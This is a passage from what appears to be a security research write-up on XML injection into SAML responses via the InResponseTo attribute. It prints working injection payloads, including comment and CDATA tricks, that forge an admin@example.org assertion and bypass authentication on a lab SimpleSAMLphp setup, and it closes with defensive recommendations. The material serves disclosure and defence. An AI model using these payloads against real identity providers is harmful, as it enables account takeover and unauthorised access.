  <ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
    <ds:SignedInfo>
      <ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
      <ds:SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256"/>
      <ds:Reference URI="#_b804b8b3-1ced-4e16-9ef3-03b82338729b">
        <ds:Transforms>
          <ds:Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature"/>
          <ds:Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/></ds:Transforms>
          <ds:DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"/>
          <ds:DigestValue>oE/7pnmcvbFYVsIPC4tao56UR/yAkpv3VL/VBXZXrXk=</ds:DigestValue>
        </ds:Reference>
      </ds:SignedInfo>
      <ds:SignatureValue>mA6oPZaOUMXxlFRQG5LzoVpmV4VB5K4iIQJ2sseqgYLXhrszbvJ85v7Qud6Fp8xKqC4nVIUZw73eHR2d4nakLKd0lPAqk7gTVC+1V1M3lpMkMCriqM5BNcR/lKpln3SnEzgUPAtbOgmsvKSmhME7fXIY9BUW0Kv/8FcCEdUGg70=</ds:SignatureValue>
      <ds:KeyInfo>
        <ds:X509Data>
          <ds:X509Certificate>MIICsDCCAhmgAwIBAgIUdbiKONoAtbg996PB63hRqTx/r3kwDQYJKoZIhvcNAQELBQAwajELMAkGA1UEBhMCVVMxCzAJBgNVBAgMAkNBMRIwEAYDVQQHDAlTdW5ueXZhbGUxEjAQBgNVBAoMCU5DQyBHcm91cDESMBAGA1UECwwJU0FNTCBUZXN0MRIwEAYDVQQDDAlsb2NhbGhvc3QwHhcNMjEwMjA4MTgwNTM1WhcNMjIwMjA4MTgwNTM1WjBqMQswCQYDVQQGEwJVUzELMAkGA1UECAwCQ0ExEjAQBgNVBAcMCVN1bm55dmFsZTESMBAGA1UECgwJTkNDIEdyb3VwMRIwEAYDVQQLDAlTQU1MIFRlc3QxEjAQBgNVBAMMCWxvY2FsaG9zdDCBnzANBgkqhkiG9w0BAQEFAAOBjQAwgYkCgYEAzcBpN/M96rsY/eVadDGiWsxPtfh2gjx8MXbxitVeCn9/hxp5cMiNY3RLWP6G1unn/jmY5xgs2IOXnWnLCgOTztJ7xY7e55El3GUB2F+f92BsmymNbkmmjW3TS61R7DOmU5Z2c2kigxahhoV2CuZAP4qiJpWI77jK8MU2hnKyBaMCAwEAAaNTMFEwHQYDVR0OBBYEFG4sdyzqVsCQHO8YaigkbVmQE9RdMB8GA1UdIwQYMBaAFG4sdyzqVsCQHO8YaigkbVmQE9RdMA8GA1UdEwEB/wQFMAMBAf8wDQYJKoZIhvcNAQELBQADgYEANF254aZkRGRTtjMLa7/8E6aFhtYCUU86YtRrrBFhslsooPMvwKnKelCdsE5Hp6V50WK2aTVBVI/biZGKCyUDRGZ0d5/dhsMl9SyN87CLwnSpkjcHC/b+I/nc3lrgoUSLPnjq8JUeCG2jkC54eWXMa6Ls2uFTEbUoI+BwJHFAH08=</ds:X509Certificate>
        </ds:X509Data>
      </ds:KeyInfo>
    </ds:Signature>
    <samlp:Status>
      <samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/>
    </samlp:Status>
    <saml:Assertion ID="_d0a71402-b0c1-453e-93bf-a3a43c50398b" IssueInstant="2021-02-11T22:45:54.579Z" Version="2.0" xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
    <saml:Issuer>http://idp.adam.local:8080</saml:Issuer>
    <saml:Subject>
      <saml:NameID Format="urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress">admin@example.org</saml:NameID>
      <saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer">
        <saml:SubjectConfirmationData InResponseTo="_6c4ac3bd08f45c9f34a9230c39ef7e12ede0531e46" NotOnOrAfter="2021-02-11T23:50:54.579Z" Recipient="http://sp.adam.local/simplesaml/module.php/saml/sp/saml2-acs.php/saml1"/>
        </saml:SubjectConfirmation>
      </saml:Subject>
      <saml:Conditions NotBefore="2021-02-11T22:45:54.579Z" NotOnOrAfter="2021-02-11T23:50:54.579Z">
        <saml:AudienceRestriction>
          <saml:Audience>http://sp.adam.local/</saml:Audience>
        </saml:AudienceRestriction>
      </saml:Conditions>
      <saml:AuthnStatement AuthnInstant="2021-02-11T22:45:54.579Z">
        <saml:AuthnContext>
          <saml:AuthnContextClassRef>urn:oasis:names:tc:SAML:2.0:ac:classes:Password</saml:AuthnContextClassRef>
        </saml:AuthnContext>
      </saml:AuthnStatement>
    </saml:Assertion>
    <elem test=""/>
    <saml:Issuer>http://idp.adam.local:8080</saml:Issuer>
    <samlp:Status>
      <samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/>
    </samlp:Status>
    <saml:Assertion xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" ID="_68a25c00-2c08-458a-a760-40f5a55ada07" Version="2.0" IssueInstant="2021-02-11T23:45:49.796Z">
      <saml:Issuer>http://idp.adam.local:8080</saml:Issuer>
      <saml:Subject>
      <saml:NameID Format="urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress">user@example.org</saml:NameID>
      <saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer">
        <saml:SubjectConfirmationData NotOnOrAfter="2021-02-11T23:50:49.796Z" Recipient="http://sp.adam.local/simplesaml/module.php/saml/sp/saml2-acs.php/saml1" InResponseTo="_6c4ac3bd08f45c9f34a9230c39ef7e12ede0531e46"/>
        <saml:Issuer>http://idp.adam.local:8080</saml:Issuer>
        <samlp:Status>
        <samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/>
        </samlp:Status>
        <saml:Assertion ID="_d0a71402-b0c1-453e-93bf-a3a43c50398b" IssueInstant="2021-02-11T22:45:54.579Z" Version="2.0" xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
          <saml:Issuer>http://idp.adam.local:8080</saml:Issuer>
          <saml:Subject>
            <saml:NameID Format="urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress">admin@example.org</saml:NameID>
            <saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer">
              <saml:SubjectConfirmationData InResponseTo="_6c4ac3bd08f45c9f34a9230c39ef7e12ede0531e46" NotOnOrAfter="2021-02-11T23:50:54.579Z" Recipient="http://sp.adam.local/simplesaml/module.php/saml/sp/saml2-acs.php/saml1"/>
              </saml:SubjectConfirmation>
          </saml:Subject>
          <saml:Conditions NotBefore="2021-02-11T22:45:54.579Z" NotOnOrAfter="2021-02-11T23:50:54.579Z">
            <saml:AudienceRestriction>
              <saml:Audience>http://sp.adam.local/</saml:Audience>
            </saml:AudienceRestriction>
          </saml:Conditions>
          <saml:AuthnStatement AuthnInstant="2021-02-11T22:45:54.579Z">
            <saml:AuthnContext>
              <saml:AuthnContextClassRef>urn:oasis:names:tc:SAML:2.0:ac:classes:Password</saml:AuthnContextClassRef>
            </saml:AuthnContext>
          </saml:AuthnStatement>
        </saml:Assertion>
        <elem test=""/>
      </saml:SubjectConfirmation>
    </saml:Subject>
    <saml:Conditions NotBefore="2021-02-11T23:45:49.796Z" NotOnOrAfter="2021-02-11T23:50:49.796Z">
      <saml:AudienceRestriction>
        <saml:Audience>http://sp.adam.local/</saml:Audience>
      </saml:AudienceRestriction>
    </saml:Conditions>
    <saml:AuthnStatement AuthnInstant="2021-02-11T23:45:49.796Z">
      <saml:AuthnContext>
        <saml:AuthnContextClassRef>urn:oasis:names:tc:SAML:2.0:ac:classes:Password</saml:AuthnContextClassRef>
      </saml:AuthnContext>
    </saml:AuthnStatement>
  </saml:Assertion>
</samlp:Response>

It should be noted that, due to the existence of two injection points, this SAML response contains three assertions; one injected using the XML injection payload, the second produced by the identity provider (with the legitimate user@example.org NameID), and another injected assertion embedded within the legitimate assertion (at the location of the second InResponseTo attribute). As described previously, the handling of such a SAML response will depend on the configuration of the service provider. During tests performed by NCC Group, the vulnerable identity provider was connected to a SimpleSAMLphp installation; this accepted the SAML response, and used the first occurrence of the assertion to authenticate the user, meaning that the attacker was logged in to the service under the context of admin@example.org.

If the service provider uses the second assertion instead of the first, or if it rejects the response due to the repeated assertions, it may be possible to utilize XML comments again to effectively remove the identity provider’s assertion from the response. Two methods have been used successfully in tests performed by NCC Group. The first, if the XML parser used by the service provider is not too strict, simply leaves an unterminated comment at the end of the payload. The identity provider may ignore the lack of a closure for the comment, and generate a signature for the response using only the attacker’s assertion. An example of a payload which may achieve this has been provided below (decoded and formatted for readability):

_29b9ae8ab8554e48c8c3a33a0bb270d5759c8a85c7">
<saml:Issuer>http://idp.adam.local:8080</saml:Issuer>
<samlp:Status>
	<samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/>
</samlp:Status>
<saml:Assertion ID="_d0a71402-b0c1-453e-93bf-a3a43c50398b" IssueInstant="2021-02-11T22:45:54.579Z" Version="2.0" xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
	<saml:Issuer>http://idp.adam.local:8080</saml:Issuer>
	<saml:Subject>
		<saml:NameID Format="urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress">admin@example.org</saml:NameID>
		<saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer">
			<saml:SubjectConfirmationData InResponseTo="_29b9ae8ab8554e48c8c3a33a0bb270d5759c8a85c7" NotOnOrAfter="2021-02-12T06:51:42.705Z" Recipient="http://sp.adam.local/simplesaml/module.php/saml/sp/saml2-acs.php/saml1"/>
		</saml:SubjectConfirmation>
	</saml:Subject>
	<saml:Conditions NotBefore="2021-02-11T22:45:54.579Z" NotOnOrAfter="2021-02-12T06:51:42.705Z">
		<saml:AudienceRestriction>
			<saml:Audience>http://sp.adam.local/</saml:Audience>
		</saml:AudienceRestriction>
	</saml:Conditions>
	<saml:AuthnStatement AuthnInstant="2021-02-11T22:45:54.579Z">
		<saml:AuthnContext>
			<saml:AuthnContextClassRef>urn:oasis:names:tc:SAML:2.0:ac:classes:Password</saml:AuthnContextClassRef>
		</saml:AuthnContext>
	</saml:AuthnStatement>
</saml:Assertion>
</saml:Response><!--

When the SAML response was generated by the identity provider, the content following the “<!–” string was ignored, effectively removing both the identity provider’s assertion, and the second assertion reflected at the second InResponseTo insertion point.

Some identity providers will reject this payload, however, because the XML is invalid with an unterminated comment. To circumvent this restriction, the following alternative payload was developed (again, decoded and formatted for readability):

_365db265e0bc16c34ffa06ad9b382bbff77541ee55" ncc-injection=' -->
	<saml:Issuer>http://idp.adam.local:8080</saml:Issuer>
	<samlp:Status>
		<samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/>
	</samlp:Status>
	<saml:Assertion ID="_d0a71402-b0c1-453e-93bf-a3a43c50398b" IssueInstant="2021-02-11T22:45:54.579Z" Version="2.0" xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
		<saml:Issuer>http://idp.adam.local:8080</saml:Issuer>
		<saml:Subject>
			<saml:NameID Format="urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress">admin@example.org</saml:NameID>
			<saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer">
				<saml:SubjectConfirmationData InResponseTo="_365db265e0bc16c34ffa06ad9b382bbff77541ee55" NotOnOrAfter="2021-02-12T18:48:18.749Z" Recipient="http://sp.adam.local/simplesaml/module.php/saml/sp/saml2-acs.php/saml1"/>
				<![CDATA['>
				<!-- ]]>
				<ncc-elem a="

This payload takes advantage of the fact that the content will be repeated twice within the SAML response produced by the identity provider. A combination of a comment and a CDATA block is used to enclose the identity provider’s assertion, and inject the new assertion. The payload can be broken down into the following components:

  1. First, a quote is used to escape from the first InResponseTo attribute, and a new attribute, ‘ncc-injection’, is created. This attribute uses single quotes for the value, so that the double quotes in the XML for the injected assertion can be preserved.
  2. The payload within the attribute value includes a closing comment string “–>”, followed by the malicious assertion XML. This is similar to previous payloads, but stops at the SubjectConfirmationData element, as this is where the second InResponseTo attribute occurs.
  3. Following the assertion XML, the attribute value includes the string used to open a CDATA block.
  4. Then, the single quote and angle bracket close the ncc-injection attribute and Response element.
  5. The “<!–” string is used to open a new comment; this comment will enclose the identity provider’s assertion.
  6. Then a “]]>” string is included. This will eventually close the CDATA block.
  7. Finally, a new element is included, “ncc-elem” with an attribute; this will balance the quote character left by the InResponseTo attribute created by the identity provider. (Note: again, this element may not be required, depending on the XML parser implementation).

When processed by a vulnerable identity provider, the following XML was produced. Note that the first injected assertion, enclosed within the “samlp:Response” “ncc-injection” attribute, is not active. The comment encloses the first part of the identity provider’s assertion, which specifies the “user@example.org” username. Then, when the payload is repeated in the second InResponseTo attribute of the identity provider’s assertion, the “–>” string terminates the comment and the malicious XML becomes active. The malicious XML stops at the SubjectConfirmationData element, where the CDATA block begins; this CDATA block is designed to enclose the second “<!–” comment string, to prevent the remainder of the assertion/response XML from being commented. Finally, the “ncc-elem” element balances the quotes, and the remainder of the identity provider assertion template closes the XML, creating a valid SAML response:

<samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" ID="_65a7aa51-521c-46c2-8825-a0b51f730101" Version="2.0" IssueInstant="2021-02-12T05:55:46.978Z" Destination="http://sp.adam.local/simplesaml/module.php/saml/sp/saml2-acs.php/saml1" InResponseTo="_365db265e0bc16c34ffa06ad9b382bbff77541ee55" ncc-injection=" -->&lt;saml:Issuer>http://idp.adam.local:8080&lt;/saml:Issuer>&lt;samlp:Status>&lt;samlp:StatusCode Value=&quot;urn:oasis:names:tc:SAML:2.0:status:Success&quot;/>&lt;/samlp:Status>&lt;saml:Assertion ID=&quot;_d0a71402-b0c1-453e-93bf-a3a43c50398b&quot; IssueInstant=&quot;2021-02-11T22:45:54.579Z&quot; Version=&quot;2.0&quot; xmlns:saml=&quot;urn:oasis:names:tc:SAML:2.0:assertion&quot; xmlns:xs=&quot;http://www.w3.org/2001/XMLSchema&quot; xmlns:xsi=&quot;http://www.w3.org/2001/XMLSchema-instance&quot;>&lt;saml:Issuer>http://idp.adam.local:8080&lt;/saml:Issuer>&lt;saml:Subject>&lt;saml:NameID Format=&quot;urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress&quot;>admin@example.org&lt;/saml:NameID>&lt;saml:SubjectConfirmation Method=&quot;urn:oasis:names:tc:SAML:2.0:cm:bearer&quot;>&lt;saml:SubjectConfirmationData InResponseTo=&quot;_365db265e0bc16c34ffa06ad9b382bbff77541ee55&quot; NotOnOrAfter=&quot;2021-02-12T06:51:42.705Z&quot; Recipient=&quot;http://sp.adam.local/simplesaml/module.php/saml/sp/saml2-acs.php/saml1&quot;/>-->&lt;![CDATA["><!-- ]]><ncc-elem a=""><saml:Issuer>http://idp.adam.local:8080</saml:Issuer><samlp:Status><samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/></samlp:Status><saml:Assertion xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" ID="_f78b7401-f325-4083-b280-2c55b6ef02e1" Version="2.0" IssueInstant="2021-02-12T05:55:46.978Z"><saml:Issuer>http://idp.adam.local:8080</saml:Issuer><saml:Subject><saml:NameID Format="urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress">user@example.org</saml:NameID><saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer"><saml:SubjectConfirmationData NotOnOrAfter="2021-02-12T06:00:46.978Z" Recipient="http://sp.adam.local/simplesaml/module.php/saml/sp/saml2-acs.php/saml1" InResponseTo="_365db265e0bc16c34ffa06ad9b382bbff77541ee55" ncc-injection=' -->
  <saml:Issuer>http://idp.adam.local:8080</saml:Issuer>
  <ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
    <ds:SignedInfo>
      <ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
      <ds:SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256"/>
      <ds:Reference URI="#_65a7aa51-521c-46c2-8825-a0b51f730101">
        <ds:Transforms>
          <ds:Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature"/>
          <ds:Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
        </ds:Transforms>
        <ds:DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"/>
        <ds:DigestValue>20FqC5eEhH0bv6lYVD6Dh1VczuZNg0NeemP0B32GFwc=</ds:DigestValue>
      </ds:Reference>
    </ds:SignedInfo>
    <ds:SignatureValue>O0XjQRmGusm2a2ImysF1wTB2HJSnCNE6aIxKd7cF8ZI+rEyHff4+mbW1uD81hwi4tvdwDjTZZNsnW8djLbAgT8E6dV2HsisXeDRBXvIobi1qW3KUf9k4oO70G0bhVjKWzCAHUo53SGNc6UDuvkijXoxEdyg5US13raeuXsjKs9w=</ds:SignatureValue>
    <ds:KeyInfo>
      <ds:X509Data>
        <ds:X509Certificate>MIICsDCCAhmgAwIBAgIUdbiKONoAtbg996PB63hRqTx/r3kwDQYJKoZIhvcNAQELBQAwajELMAkGA1UEBhMCVVMxCzAJBgNVBAgMAkNBMRIwEAYDVQQHDAlTdW5ueXZhbGUxEjAQBgNVBAoMCU5DQyBHcm91cDESMBAGA1UECwwJU0FNTCBUZXN0MRIwEAYDVQQDDAlsb2NhbGhvc3QwHhcNMjEwMjA4MTgwNTM1WhcNMjIwMjA4MTgwNTM1WjBqMQswCQYDVQQGEwJVUzELMAkGA1UECAwCQ0ExEjAQBgNVBAcMCVN1bm55dmFsZTESMBAGA1UECgwJTkNDIEdyb3VwMRIwEAYDVQQLDAlTQU1MIFRlc3QxEjAQBgNVBAMMCWxvY2FsaG9zdDCBnzANBgkqhkiG9w0BAQEFAAOBjQAwgYkCgYEAzcBpN/M96rsY/eVadDGiWsxPtfh2gjx8MXbxitVeCn9/hxp5cMiNY3RLWP6G1unn/jmY5xgs2IOXnWnLCgOTztJ7xY7e55El3GUB2F+f92BsmymNbkmmjW3TS61R7DOmU5Z2c2kigxahhoV2CuZAP4qiJpWI77jK8MU2hnKyBaMCAwEAAaNTMFEwHQYDVR0OBBYEFG4sdyzqVsCQHO8YaigkbVmQE9RdMB8GA1UdIwQYMBaAFG4sdyzqVsCQHO8YaigkbVmQE9RdMA8GA1UdEwEB/wQFMAMBAf8wDQYJKoZIhvcNAQELBQADgYEANF254aZkRGRTtjMLa7/8E6aFhtYCUU86YtRrrBFhslsooPMvwKnKelCdsE5Hp6V50WK2aTVBVI/biZGKCyUDRGZ0d5/dhsMl9SyN87CLwnSpkjcHC/b+I/nc3lrgoUSLPnjq8JUeCG2jkC54eWXMa6Ls2uFTEbUoI+BwJHFAH08=</ds:X509Certificate>
      </ds:X509Data>
    </ds:KeyInfo>
  </ds:Signature>
  <samlp:Status>
    <samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/>
  </samlp:Status>
  <saml:Assertion ID="_d0a71402-b0c1-453e-93bf-a3a43c50398b" IssueInstant="2021-02-11T22:45:54.579Z" Version="2.0" xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
    <saml:Issuer>http://idp.adam.local:8080</saml:Issuer>
    <saml:Subject>
      <saml:NameID Format="urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress">admin@example.org</saml:NameID>
      <saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer">
        <saml:SubjectConfirmationData InResponseTo="_365db265e0bc16c34ffa06ad9b382bbff77541ee55" NotOnOrAfter="2021-02-12T06:51:42.705Z" Recipient="http://sp.adam.local/simplesaml/module.php/saml/sp/saml2-acs.php/saml1"/>--><![CDATA['><!-- ]]>
        <ncc-elem a=""/>
      </saml:SubjectConfirmation>
    </saml:Subject>
    <saml:Conditions NotBefore="2021-02-12T05:55:46.978Z" NotOnOrAfter="2021-02-12T06:00:46.978Z">
      <saml:AudienceRestriction>
        <saml:Audience>http://sp.adam.local/</saml:Audience>
      </saml:AudienceRestriction>
    </saml:Conditions>
    <saml:AuthnStatement AuthnInstant="2021-02-12T05:55:46.978Z">
      <saml:AuthnContext>
        <saml:AuthnContextClassRef>urn:oasis:names:tc:SAML:2.0:ac:classes:Password</saml:AuthnContextClassRef>
      </saml:AuthnContext>
    </saml:AuthnStatement>
  </saml:Assertion>
</samlp:Response>

Depending on where the InResponseTo attributes are located within the XML document, it may be necessary to adjust the payload to ensure that the XML is correct and well-formed.

There are some caveats to the InResponseTo attacks, however. This particular injection was only successful because the assertion in the SAML response was not signed. Some identity providers sign both the assertion and the SAML response. In this situation, it may only be possible to utilize the second InResponseTo injection point, as any modifications to this assertion after the application of the signature could cause the verification to fail. The specifics of this approach will vary based on the implementation of the identity provider, and the libraries used to parse and sign the XML.

Recommendations

Organizations and services that rely on SAML for authentication should examine identity providers and determine whether they are affected by XML injection vulnerabilities, particularly if the identity provider uses string-based templates to build SAML responses/assertions with user controlled data. Ideally, SAML responses and assertions should be constructed using an appropriate XML library that can safely set user-controlled data in attributes and text nodes.

If it is absolutely necessary to use a string template, or string functions, to include user-controlled data within SAML messages, the data should be strictly validated. If XML characters are detected in the user-input, the authentication attempt should be rejected with an error message. Before insertion to the document, XML encoding should be applied to the data, to ensure that even if the validation is bypassed, the user input cannot inject additional XML.

Additionally, consider enforcing the use of signatures for SAML authentication requests sent from service providers, where possible. If the SAML request signature is validated by the identity provider, any attempt to modify the request to include an XML injection payload (such as those which exploit the InResponseTo attribute) can be detected.